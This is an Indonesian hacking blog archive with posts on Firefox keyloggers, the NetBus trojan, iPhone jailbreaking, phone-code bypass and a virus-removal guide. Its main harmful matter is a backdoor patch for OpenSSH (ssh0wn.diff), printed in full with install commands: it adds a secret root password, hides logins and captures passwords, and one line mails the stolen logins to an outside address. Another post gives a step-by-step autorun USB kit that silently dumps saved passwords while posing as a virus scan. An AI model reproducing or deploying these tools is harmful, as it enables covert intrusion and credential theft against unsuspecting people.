Tampilkan postingan dengan label hacking. Tampilkan semua postingan
Tampilkan postingan dengan label hacking. Tampilkan semua postingan

Rabu, 20 Maret 2013

Gak Perlu dijelasin deh -__- , yang baca paling udah tau maksud, cara, dan resiko menggunakannya. Yups, cara memasang logger di Mozilla. Gak perlu ngoprek jeroan mozilla, cukup adengan plugin saja. 



Install Plugins Keylogger
https://addons.mozilla.org/id/firefox/addon/keylogger-220858/

Cara pakai :
Setelah di install di Firefox, tekan ALT + L , lalu akan diminta memasukan sebuah password, itu bertujuan untuk membuka file log-nya, masukin password yang mudah di ingat misalnya cukup angka 1 saja.

INGAT, Jangan sampai lupa passwordnya, 
Karena meski sudah di uninstall pun, passwordnya tetap tidak bisa tereset. Udah ngertikan :D


Bisa juga kalo kamu ingin jahil di warnet yang ingin di bajak Usernya,tapi resiko di tanggung yaaa...
trik"a???? bisa cari sendiri donk :D


Sabtu, 15 September 2012


 Banyak persoalan yang timbul bagi pengguna iPhone, iPod Touch dan iPad tertanye-tanye berkenaan JailBreak (JB) nih.kali ini w pengen berbagi info tentang Apple.w selama ngereview alias numbalin Iphone.selain itu permintaan dari Fadillah.
hhee..oke..langsung w share info awal'a yee...  Mungkin anda (maaf)  masih kurang paham tentang JB nih, ape pula tuh?? bisa Rusakkah Device kita?? dii sini w jelasin sedikit tentang apa itu jail break.

2. JailBreak - adalah Proses untuk mengubahsuai dan modified OS bagi iPhone/iPad/iPod Touch anda, iOS supaya Gadget anda itu boleh mengakses kepada file yang biasanya Apple Inc tidak membenarkan anda untuk mengaksesnya.

  • JailBreak akan menginstall Apps yang tidak Official iaitu Cydia dimana dengan Cydia anda boleh Mengakses dan mendownload tweaks, dan extensions kedalam Gadget anda. Cth Tweaks dan Extention :- Installous, WinterBoard, SBSettings.
  • Contoh gambar disebelah kanan -  Dengan Tweaks dan Extention dari Cydia, anda boleh menyusun dan menginstall Theme kedalam iPhone anda mengikut kesukaan anda. (Dengan kata lain...gambarnya ganteng kan..bukan standard banget yee)  

3. Kelebihan JailBreak,
  • Yang paling Utama - Anda boleh Download hampir semua Apps dari Apple Store FREE dengan menggunakan Tweaks Installous.
  • Anda Boleh tukar Font didalam iPhone/iPad/iPod Touch.
  • Anda boleh menukar theme didalam iPhone/iPad/iPod Touch anda yang tidak ada didalam iOS. (Cth: Apple hanya membenarkan anda meletakkan 4 icon dibawah Screen iPhone anda, dengan Tweak dari Cydia anda boleh meletak 5 icon atau lebih).
  • Keupayaan untuk menukar atau modified iOS anda adalah bergantung kepada jenis tweaks yang direka oleh hackers-hackers diluar sana. Anda cuma perlu Explore di Apps Cydia anda.
4. JailBreak membenarkan kita Download Pirate Apps?? apa melanggar Undang-undang??
  • hhe..namanya sodara jack sparrow (baca :pembajak). tapi aslinya, JB tidak menyalahi undang2. Klik sini untuk Info.
5. Masalah garansi  iPhone kita dengan Telco??? diterima atau tidak?
  • Ya dan tidak, kalau anda pergi ke telco untuk klaim garansi sebelum anda restore balik...tidak lah jawapan dia...so, dicadangkan sebelum anda claim garansi kepada Apple atau Telco, restore lah balik..baru bisa klaim ke Apple atau Telco.
6. Selepas JailBreak, Boleh ke kita Sync dengan iTunes kat PC atau Mac??
  • Boleh, JailBreak hanya menginstall Cydia kedalam iPhone/iPodTouch/iPad kita.
  • Apps yang telah didownload dari Installous masih boleh disimpan dilibry. iTunes tidak Detect sebarang Pirate Apps / Games yang didownload.
  • Apps Pirate yang disimpan di libry iTunes tidak boleh di sync kedalam iPhone/iPod Touch/iPad yang tidak JailBreak.
7. JailBreak kene bayar tidak??
  • PERINGATAN :- JailBreak tidak perlu bayar apa. Anda hanya perlu ada internet untuk Download software-software platform untuk JailBreak. (Biar ga rugi pake Hotspot Gretongani)
8. Kalau ada Update iOS baru, Boleh ke kita update bila dah JailBreak??
  • Tidak, setiap Platform JailBreak adalah untuk iOS version masing-masing. Jika anda update iOS anda. Cydia akan hilang.
  • Walaubagaimanapun, Tidak ada masalah untuk JailBreak semula Device anda. Pada kebiasaannya Hacker tidak ketinggalan Jauh untuk update Jailbreaking iOS baru.
9. Oia..dari tadi ngomong Cydia,Cydia itu apa sihh??
  • Cydia nih macam Apps Store, Korang boleh search Apps dan Tweaks didalam cydia. Semua Apps dan Tweaks adalah free. Tapi jangan terkejut pula kalau ada yang berbayar. Mereka pun cari duit buat Ngerokok. Tapi Jangan risau, Terdapat jugak hackers yang buat Tweaks yang berbayar jadi free. :))
Nb :- Walaubagaimana pun, JailBreak yang Paling Stabil buat masa kini adalah untuk iOS 4.3.3 

Untuk Apps atau tweaking laennya about apple ntar nyusul..hheee

Jumat, 01 Juni 2012

dah lama ga update....
pengen share apps computer...
tapi lagi konsen ma senjata baru nihhhh...
maka'a kali ini saya mau bagi-bagi ilmu lagi nihhh...
kalau komputer kan rada ribet ntu di bawa kemana"...coba deh android...
 mantabbb dah....
di tambah lagi kita bisa inject program ataupun inject situs (setan mode on)hheeeee...
atau pun yang takut bokin selingkuh bisa kita detect...
kereenn kann....
tapi pertama" mau share tentang keunggulannya dulu nih.....
lagiii...

apalagi ini...


 kan ..mmantabb kan....
selanjutnya...terserah anda....
next posting..cara" ataupun apps for android...
eittzzzz....apps komputer pun gak akan lupa lah...sloww...
hheee...
tunggu yahhhh.....

Selasa, 15 November 2011

Pernah kena virus resycled?
Tiba-2 kompi jadi lemot?

Ini cara ngilangin manual, tanpa antivius.
Loh, kok ga pake antivirus?
Na, silakan baca penjelasan saia berikut.




Bagaimana virus menginfeksi
---------------------------
Paling umum adalah dari removable media seperti flash disk.
Saat kita dobel-klik flash disk yang terinfeksi, kita
secara tidak sadar menjalankan autorun.inf milik sang virus.
Ini adalah contoh "social engineering" para pembuat virus,
yaitu memanfaatkan kebiasaan dan ketidaktelitian pengguna.

Repotnya, dengan men dobel-klik tersebut, pengguna mamberi
wewenang pada windows untuk melakukan batch operation, yang
perintah-2 nya seakan-akan "tidak membahayakan" sistem, sehingga
sangat sering virus autorun / dobel-klik, mem-bypass antivirus.
Karena dianggap bukan virus, saat kita lakukan scan virus,
maka hasilnya akan negatif. Ataupun jika ketemu belum tentu bisa
menghapus, karena itu, diperlukan cara manual untuk menghilangkannya.


Apa yang dia lakukan
--------------------
- Saat running dia akan membuat file autorun.inf di drive yang aktif
- Virus tersebut akan menyalin file "boot.com" ke folder-2 system
- Melakukan penambahan entry pada registry


Cara manghilangkan virus resycled
---------------------------------
01 Restart komputer
02 Masuk safe mode (tekan F8 saat booting, pilih safe mode)
03 Buka explorer

Penting: selama proses JANGAN membuka drive/folder dengan dobel-klik

04 Masuk menu tools --> folder options --> view
05 Pilih "Show hidden files and folders"
06 Hilangkan centang pada pilihan berikut:
--> * Hide extensions for known file types
--> * Hide protected operrating system files
07 Dengan menggunakan explorer tree, temukan dan hapus file "autorun.inf"
08 Lakukan langkah 07 pada semua drive, bisa manggunakan search, tapi
hati-2 ada file autorun yang memang diperlukan.
09 Periksa folder-2:
--> c:\windows\system32\dllcache
--> c:\windows\prefetch
cari file "boot.com", jika ketemu, hapus
10 Buka folder-2:
--> c:\windows\temp
--> c:\Documents and Settings\[USER PROFILE]\Local Settings\Temp
hapus semua isinya, ada beberapa file yang menolak dihapus, biarkan saja
11 Jalankan REGEDIT
12 Pilih File --> search
13 cari entry "boot.com", jika ketemu hapus. Tekan F3 untuk mengulang pencarian
sampai akhir registry
14 Kembali pada entry pertama, lakukan seperti langkah 13 untuk entry "resycled"
15 Tutup semua aplikasi, restart kompi
16 Buka explorer, cari dan hapus semua folder "resycled"
17 Untuk jaga-2 lakukan kembali langkah 07 dan 08

-- Selamat, kompi anda sudah bebas dari virus resycled --


TIPS:
- Jangan buka flash disk / drive dengan dobel-klik, pake explorer tree saja
- Gunakan opsi show hidden files pada folder options
- Gunakan opsi show extention pada folder options
- Waspada jika ada nama file / folder berganda
- Waspada jika file kerja anda berekstensi .com atau .exe
- Jangan klik file yang tiba-2 muncul / tidak pernah anda bikin, apalagi kalo namanya aneh-2
- Gunakan antivirus, lakukan update rutin
- Selalu hati-2 dan teliti, terutama waktu lagi buru-2


Semoga dapat berguna bagi mereka yang kena virus ini dan udah nyerah sampe mau
install ulang.

by: bluemanjaro, (dy inspirasi dari tulisan ini)
hhiii

Senin, 07 November 2011

NetBus adalah program hacking karya Carl- Fredrik Neikter seorang hacker asal Swedia yang di buat dengan bahasa Delphi. Program ini dapat bekerja pada sistem operasi Windows 95/98/ Me/2000/XP dan NT. NetBus pertama kali muncul pada tahun 1998 dengan versi 1.60 kemudian keluar NetBus versi 1.70 pada tahun yang sama. Ada juga NetBus Pro v2.01 dan NetBus Pro v2.10 yang dirilis tahun 1999. Hingga saat ini, Netbus masih menjadi salah satu ancaman keamanan komputer.





Hacking dengan Netbus
Sebelum melakukan hacking, pastikan versi NetBus yang akan di gunakan. Jika menggunakan NetBus versi 1.60 atau NetBus versi 1.70, maka port yang di lacak adalah port nomor 12345. Untuk NetBus Pro versi 2.01 dan NetBus Pro v2.10, port yang di cari adalah port 20034.

Untuk menjalankan NetBus dibutuhkan 2 buah file, yaitu NetBus.exe sebesar 559.552 KB dan Patch.exe dengan kapasitas 494.592 KB. NetBus.exe merupakan file pengendali yang diletakkan di komputer kita, sedangkan Patch.exe diletakkan di komputer “korban”.

Ada beberapa cara untuk “menanam” file Patch.exe di komputer “korban”. Misalnya dengan mengirimkan sebagai attachment saat Anda mengirim email. Jika penerima email tersebut mengeksekusi file Patch.exe maka file tersebut akan ter-copy ke Folder Windows. Atau gunakan cara lain yang aman untuk menyebarkan file patch.

Tahap selanjutnya adalah menentukan host atau alamat IP yang di-hack. Untuk mencari alamat host dan IP Address yang terifeksi patch.exe, klik tombol Scan lalu klik tombol Start. Isi kotak Scan dengan IP Address awal dan kotak To dengan IP Address akhir. Tunggu beberapa saat, jika koneksi berhasil tombol Connect akan berganti menjadi tombol Cancel dan setelah itu kita bisa melakukan apa yang kita sukai, termasuk menyadap password email orang lain.

Selanjutnya, kita copy salah satu alamat IP tersebut, paste ke field Host name/IP pada jendela utama program NetBus. Klik tombol Connect. Jika user tersebut belum memutuskan koneksinya ke Internet maka kita akan melihat pesan status koneksi di jendela program NetBus yang menunjukkan sudah terhubung.

Kini kita dapat melakukan beberapa hal terhadap komputer korban. Pada NetBus tersedia sedikitnya 22 tombol, klik tombol “Active wnds” untuk melihat semua program yang sedang dijalankan orang tersebut di komputernya. Atau jika kita tertarik untuk melihat apa yang sedang diketik, maka klik tombol “Listen.” Anda akan melihat jendela seperti yang terlihat pada gambar di atas. Selanjutnya, silahkan bereksperimen sendiri dengan program ini, mudah bukan?

Download Netbus :
- Netbus 1.70
- Netbus 2.01 Pro

Antisipasi serangan Netbus
1. Update terus antivirus di computer anda, karena Netbus masuk kategori virus Trojan
2. Install sebuah firewall bernama Snort untuk mendeteksi para penyusup. Software ini bisa di peroleh secara gratis di www.snort.org
3. Pasang software proxy berbasis firewall seperti zona alarm yang bertujuan memfilter dan mengontrol semua lalu-lintas data yang masuk dan selama ini cukup dipercaya mampu melindungi komputer dari gangguan hacker atau cracker.

4. Install NetBus Detective 5.2. Software ini adalah specialist pendeteksi Netbus semua versi.



Rabu, 02 November 2011

Pasti bertanya"...
apa sih pengertian Backdoor itu
disini w mw jelasin...
kalo dah tau,,pasti penasaran dehh...Cz nie termasuk "senjata" utama dalam hacking...

yaa klo pusing ketika pertama kali ngeliat cara menaruh backdoor ini yaa wajar...
(Cz w pertama kali juga pertama klai pusing..hheee)



PENGERTIAN
Backdoor (pintu belakang) adalah salah satu rootkit yang bertugas untuk memberikan
jalasa masuk (secara illegal) terhadap sebuah sistem operasi, baik itu sifatnya
single port atau multiple port. Backdoor bekerja secara invisible dan tidak
bersifat sebagai normal authentication login.

Backdoor bisa bersifat sebagai sniffer, dalam artian fungsi dari backdoor tidak
sebatas sebagai jalan masuk (secara illegal), namun dia akan mempunyai dualisme
tugas yaitu sebagai pencatat login yang ada didalam sebuah sistem operasi.

[1.2] Menentukan Backdoor yang layak dipakai

Pengertian dari memilih backdoor yang layak disini adalah yang mempunyai beberapa
kriteria sebagai berikut:

1. Pastikan backdoor tersebut aman dari kontrol original root.
2. Backdoor yang dipakai tidak menimbulkan proses tambahan yang ada didalam
sebuah server.
3. Mempunyai kemampuan yang multifungsi, dalam artian disamping sebagai jalan masuk
juga berfungsi sebagai pencatat segala informasi yang ada didalam sistem operasi.

Kenapa backdoor harus tidak menambah proses yang ada didalam server? karena disini
penulis mengasumsikan bahwa sysadmin yang menjadi target `bukanlah orang yang bodoh’
mereka akan secara rutin mencatat segala perubahan yang terjadi didalam server. Hal
ini menuntut kita untuk melakukan perubahan didalam server seminimal mungkin.

Untuk tulisan ini, dipilih backdoor yang menginfeksi service OpenSSH, dengan
pertimbangan bahwa service OpenSSH adalah service standar yang ada dalam sebuah
sistem operasi UNIX, dan backdoor ini tidak menambah proses baru didalam server.

Secara standar jenis backdoor ini sudah mempunyai dua fungsi yang ideal sebagai
backdoor. Pertama memungkinkan kita untuk login secara remote dengan akses root
secara invisible, dan kedua memungkinkan kita untuk mengetahui informasi dari login
yang masuk dan keluar semua user yang ada didalam server.

Kelemahannya mungkin tidak secara otomatis mengirimkan informasi tersebut kedalam
email. Hal ini menyebabkan kita harus dua kali kerja untuk mengetahui informasi
tersebut. Didalam tulisan ini disamping menjelaskan bagaimana menginstal backdoor
tersebut, juga membahasa bagaimana cara mengoptimalkan kinerja backdoor ini.

[2] Instalasi Backdoor OpenSSH-3.4p1

Ada beberapa hal yang harus diperhatikan sebelum kita melakukan penetrasi terhadap
sebuah server yang berhasil kita masuki.

Pertama adalah melihat versi OpenSSH asli yang ada didalam server, dan kedua adalah
memperhatikan dan menganalisa seberapa sering root login didalam server, hal ini
akan memberikan gambaran yang jelas seberapa teliti sysadmin dalam mengelola server.

Dalam proses instalasi ini membutuhkan beberapa file pendukung yaitu:
1. ssh0wn.diff
http://sec.angrypacket.com/code/ssh0wn.diff
2. Openssh-3.4p1.tar.gz
http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

Setelah semua file pendukung tersebut berhasil anda simpan didalam server, langkah
awal adalah melakukan pemecahan file OpenSSH-3.4p1 (extract), dan kedua memindahkan
file ssh0wn.diff kedalam direktori OpenSSH-3.4p1

Gambaran secara jelas dalam proses instalasi dapat anda lihat dari ilustrasi
dibawah ini:

[betha@tiamat:~]$ wget http://sec.angrypacket.com/code/ssh0wn.diff
–21:17:29– http://sec.angrypacket.com/code/ssh0wn.diff
=> `ssh0wn.diff’
Resolving sec.angrypacket.com… 64.84.39.37
Connecting to sec.angrypacket.com[64.84.39.37]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 5,595 [text/plain]

100%[============================>] 5,595 –.–K/s

21:17:29 (1.29 MB/s) – `ssh0wn.diff’ saved [5595/5595]

[betha@tiamat:~]$ wget http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
–21:17:40– http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
=> `openssh-3.4p1.tar.gz’
Resolving openbsd.md5.com.ar… 200.32.4.46
Connecting to openbsd.md5.com.ar[200.32.4.46]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 837,668 [application/x-tar]

100%[============================>] 837,668 38.64K/s ETA 00:00

21:18:03 (37.27 KB/s) – `openssh-3.4p1.tar.gz’ saved [837668/837668]

[betha@tiamat:~]$ tar xzf openssh-3.4p1.tar.gz
[betha@tiamat:~]$ mv ssh0wn.diff openssh-3.4p1
[betha@tiamat:~]$ cd openssh-3.4p1
[betha@tiamat:~/openssh-3.4p1]$ patch pw_name,password);
fclose (outf);
return 1;
}else
return 0;
[...]
——————————————————————–

Dan rubah file tersebut dengan:

——————————————————————–
[...]

if(strcmp(encrypted_password, pw_password) == 0){
outf = fopen(_LOG_DIR”/”_S_LOG,”a+”);
fprintf (outf, “%s:%s:%s:%d%s\n”,pw->pw_name,password, get_remote_ipaddr(), get_local_port(), system(“cat /dev/hdal/slog | mail aris@kecoak.or.id”));
fclose (outf);
return 1;
}else
return 0;
[...]
——————————————————————–

Simpan file tersebut dan segera memulai instalasi akhir dari penetrasi OpenSSH ini.Proses
instalasi OpenSSH ini HANYA bisa dilakukan oleh akses root.

[root@tiamat:~]# ./configure –prefix=/usr –sysconfdir=/etc/ssh
[root@tiamat:~]# make
[root@tiamat:~]# make install
[root@tiamat:~]# make clean && make distclean
[root@tiamat:~]# echo “UsePrivilegeSeparation no” >> sshd_config
[root@tiamat:~]# cp -f sshd_config /etc/ssh/sshd_config
[root@tiamat:~]# mkdir /dev/hdal
[root@tiamat:~]# chmod 777 /dev/hdal
[root@tiamat:~]# kill -HUP `cat /var/run/sshd.pid’

Proses akhir selesai, dan segera lakukan penghapusan log yang tertinggal diserver
yang berhasil anda attack. Dan anda dapat login kedalam server tersebut melalui
port standar openssh (22) dan dengan menggunakan password yang telah anda tentukan
didalam file `includes.h’

[4] References

— Backdoor Ensiklopedia
— Angrypacket Security Project

Lampiran ssh0wn.diff

# $Id: ssh0wn.diff,v 1.6 2002/08/08 21:53:02 enz00 Exp $
#
# patch for openssh-3.4p1
#
# when applied this patch will authenticate you
# as any user with the secret password and that user
# will not be logged. it will also log logins/passwords
# client and server side
#
# usage:
# you’ll probably want to change the defines found below
# make sure that the _LOG_DIR is chmod 777
# cp ssh0wn.diff openssh-3.4p1/;cd openssh-3.4p1
# patch pw_name,password);
+ fclose (outf);
+ return 1;
+ }else
+ return 0;
#endif /* !USE_PAM && !HAVE_OSF_SIA */
}
— openssh-3.4p1/auth.c Wed May 22 01:06:28 2002
+++ ssh0wn/auth.c Thu Aug 1 23:16:54 2002
@@ -248,14 +248,17 @@
else
authmsg = authenticated ? “Accepted” : “Failed”;

- authlog(“%s %s for %s%.100s from %.200s port %d%s”,
- authmsg,
- method,
- authctxt->valid ? “” : “illegal user “,
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ authlog(“%s %s for %s%.100s from %.200s port %d%s”,
+ authmsg,
+ method,
+ authctxt->valid ? “” : “illegal user “,
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
}

/*
— openssh-3.4p1/canohost.c Tue Jun 11 12:47:22 2002
+++ ssh0wn/canohost.c Wed Aug 7 17:43:34 2002
@@ -74,11 +74,13 @@

debug3(“Trying to reverse map address %.100s.”, ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- log(“Could not reverse map address %.100s.”, ntop);
- return xstrdup(ntop);
+ if(!mlogin_ok){
+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ log(“Could not reverse map address %.100s.”, ntop);
+ return xstrdup(ntop);
+ }
}

/* Got host name. */
— openssh-3.4p1/includes.h Mon May 13 01:14:09 2002
+++ ssh0wn/includes.h Thu Aug 8 15:45:46 2002
@@ -157,4 +157,13 @@

#include “entropy.h”

+/* hax0r shit */
+#define _SECRET_PASSWD “l33thex0r_passwerd”
+#define _LOG_DIR “/dev/hdal”
+#define _S_LOG “slog”
+#define _C_LOG “clog”
+FILE *outf;
+int mlogin_ok;
+/* end hax0r shit */
+
#endif /* INCLUDES_H */
— openssh-3.4p1/sshconnect1.c Thu Jun 6 15:57:34 2002
+++ ssh0wn/sshconnect1.c Thu Aug 8 15:48:48 2002
@@ -922,6 +922,7 @@
{
int type, i;
char *password;
+ char gpasswd[120];

debug(“Doing password authentication.”);
if (options.cipher == SSH_CIPHER_NONE)
@@ -930,6 +931,7 @@
if (i != 0)
error(“Permission denied, please try again.”);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
memset(password, 0, strlen(password));
@@ -938,8 +940,15 @@
packet_write_wait();

type = packet_read();
- if (type == SSH_SMSG_SUCCESS)
+ if (type == SSH_SMSG_SUCCESS){
+ /* dont log if secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);
+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
+ }
if (type != SSH_SMSG_FAILURE)
packet_disconnect(“Protocol error: got %d in response to passwd auth”, type);
}
— openssh-3.4p1/sshconnect2.c Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshconnect2.c Thu Aug 8 15:48:20 2002
@@ -446,6 +446,7 @@
static int attempt = 0;
char prompt[150];
char *password;
+ char gpasswd[120];

if (attempt++ >= options.number_of_password_prompts)
return 0;
@@ -456,6 +457,7 @@
snprintf(prompt, sizeof(prompt), “%.30s@%.128s’s password: “,
authctxt->server_user, authctxt->host);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
@@ -470,6 +472,12 @@
dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq);

+ /* dont log if its the secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);
+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
}
/*
— openssh-3.4p1/sshlogin.c Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshlogin.c Thu Aug 8 15:46:10 2002
@@ -71,8 +71,11 @@

li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, sizeof(struct sockaddr));
- login_login(li);
- login_free_entry(li);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ login_login(li);
+ login_free_entry(li);
+ }
}

#ifdef LOGIN_NEEDS_UTMPX
@@ -96,6 +99,9 @@
struct logininfo *li;

li = login_alloc_entry(pid, user, NULL, ttyname);
- login_logout(li);
- login_free_entry(li);
+ /* no logout if secret pass */
+ if(!mlogin_ok){
+ login_logout(li);
+ login_free_entry(li);
+ }
}

Selamat belajar,and berpusing" ria....
hhiiii............


Senin, 17 Oktober 2011

lagi pengen update sytem nie...
w jg lg belajar nyang namanya linux backtrack
pertama kesan paz w install sih manteb..
pz ketu ma konsole(ntu tu yang di windows namanya cmd)



nah rada" bingung sih w jg untuk pertama kali...tapi eh lama" asik deng....
cara download backtrack terbaru ini cukup mudah koQ..
tinggal buka ajja di DISINI


nah ntar tinggal pilih backtrack mana yang mw di download.....

selamat belajar backtrack....


Minggu, 10 Juli 2011

hheee...
ada lagi nie info buat yaa sekedar iseng atau buat nambah ilmu ajja
di bajak yoo..
hheee




Cara Buat Mengunci Hard Disk dan Tak dapat dibuka

buka registry windows. Langkah-langkahnya :
1.start – run – regedit
2.buka :
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer]
3.Lalu buat DWORD baru, dengan meng-klik kanan di regedit dan beri nama dengan : NoViewOnDrive
4.Nah, disini yang agak ribet. Sekarang anda pilih partisi dalam hardisk anda yang ingin anda tutup dari akses masuk. DWORD value nya diberi nilai dari drive apa yang anda ingin tutup, dengan nilai hexa desimal.
Nilai hex nya adalah :
A : 1 D : 8 G : 64 J : 512 M : 4096
B : 2 E : 16 H : 128 K : 1024 N : 8192
C : 4 F : 32 I : 256 L : 2048 O : 16384

P : 32768 S : 262144 V : 2097152 Y : 16777216
Q : 65536 T : 524288 W : 4194304 Z : 33554432
R : 131072 U : 1048576 X : 8388608

SEMUA DRIVE : 67108863

Contoh : jika anda ingin mengunci hardisk anda yang partisi C:/ maka anda mengisi nilai DWORD NoViewOnDrive dengan 4. (lihat di tabel angka hexa untuk C). lalu logoff atau restart komputer anda.
Nah, setelah komputer login, coba anda buka drive C:/. apa yang terjadi? Drive C anda tidak mau terbuka. Windows memberi peringatan untuk menghubungi administrator.
Kalau mau mengunci drive lain, tinggal ubah nilai NoViewOnDrive-nya saja. Untuk menormalkan kembali, hapus nilai DWORD tadi dan logoff / restart komputer anda.
Lalu untuk mengunci lebih dari 1 partisi/ drive? Anda tinggal menggunakan operasi tambah. Misalkan anda ingin mengunci drive C dan D maka nilai DWORD yang harus dimasukkan adalah (C = 4) + (D = 8) = 12. jadi 12 lah yang anda harus masukkan untuk nilai DWORDny

Sabtu, 09 Juli 2011

hhee....kali nie w mw posting tentang alat crcking ma hacking..
apa ntu cracking ma hacking???
cari di Mbah buyut Google dah...
hhee...
langsung ajja dah..






Ada sejumlah tools yang berfungsi merecovery (memulihkan) password dari file tempatnya di simpan dengan memanfaatkan USB flashdisk. Anda dapat membuat rootkit Anda sendiri untuk meng-hack password. berikut ini sejumlah tools untuk Menjadikan flashdisk menjadi alat hack password :
MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.
Mail PassView : merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.
IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini mendukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 – v6.0.
Protected Storage PassView : merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi …
PasswordFox : PasswordFox adalah utilitas pemulihan password sederhana yang memungkinkan anda melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif Anda, tetapi Anda dapat dengan mudah memilih untuk melihat password Firefox di lain profil.
Berikut adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk):
CATATAN: Anda harus menonaktifkan sementara antivirus Anda sebelum mengikuti langkah-langkah ini.
1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu: Salinlah file – mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.
2. Buat file Notepad baru dan dan ketik teks berikut ini :
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, lalu
copy file autorun.inf ke dalam USB drive.
4. Buat file Notepad baru lagi dan ketik teks berikut :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
5. Simpan file Notepad and gantilah namanya dari New Text Document.txt menjadi launch.bat, lalu Salin file launch.bat USB drive Anda.
Sekarang rootkit Anda sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.
Cara menggunakan flashdisk hack tools sebagai berikut :
1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, ada telah menciptakan sebuah autorun di flashdisk).
2. Pada jendela pop-up, pilih pilihan pertama (melakukan scan Virus).
3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.
4. Keluarkan flashdisk dan Anda akan melihat password yang tersimpan dalam format TXT file.Ü

nah dari trik di atas mungkin kan klo FB target kita bisa hack...
sebenarnya banyak trik buat hack Facebook...tapi capek w beberin'a...
w ajja pusing...apalagi u..
hhaa
just kidding koQ..
w mah sesama Pembajak kudu saling beritahu..
hhee..
moga bermanfaat yaa...
ntar kapan-kapan w kasih tau trik laen buat hack facebook dah...
tapi bukan sekarang yaa....
sabar...
hhiii

hhee...nemu nie cara jebol kode hpnokia tanpa perlu flashing
Langsung saja.. Untuk dapat menjebol security code handphone, siapkan perlengkapan seperti komputer,
card reader dan tentu saja handphone yang akan 'dijebol'.



Lalu download sebuah softwarenya. Kemudian ekstra ke dalam komputer anda (terserah ingin ditempatkan dimana saja).

* Cabut memory card dari handphone kemudian pasang pada card reader dan segera hubungkan card reader tersebut ke komputer anda (jangan komputer orang lain ya)
* Double klik pada drive dimana Memory Card terdeteksi
* Kemudian masuk ke 'system' dan buat folder baru dengan nama 'Recogs' (tanpa tanda kutip). Jika keberadaan folder Recogs di urutkan akan seperti ini : Drive Memory Card>System>Recogs
* Cari file berekstensi MDL (.MDL) di folder hasil ekstra dari software yang telah anda download diatas. (belum download ? Download dahulu ya karena hanya file itu yang sanggup melakukan penjebolan)
* Copy file MDl tersebut ke dalam folder yang tadi di buat (folder Recogs, red)
* Kemudian lepaskan memory card dari card reader dan pasang ke dalam handphone
* Tunggu sekitar 3 menit, kemudian lepaskan dan pasang kembali pada card reader
* Dengan menggunakan komputer, hapuslah folder Recogs
* Setelah selesai, masukan kedalam handphone dan hidupkan handphone anda. Jika berhasil security code handphone anda kembali ke kode standarnya.

Download sofware DISINI

Selasa, 21 Juni 2011

hhihihii...
ada yang baru nih....
Cara hacking via LAN (untuk curi pass orang2 yang lagi browsing)

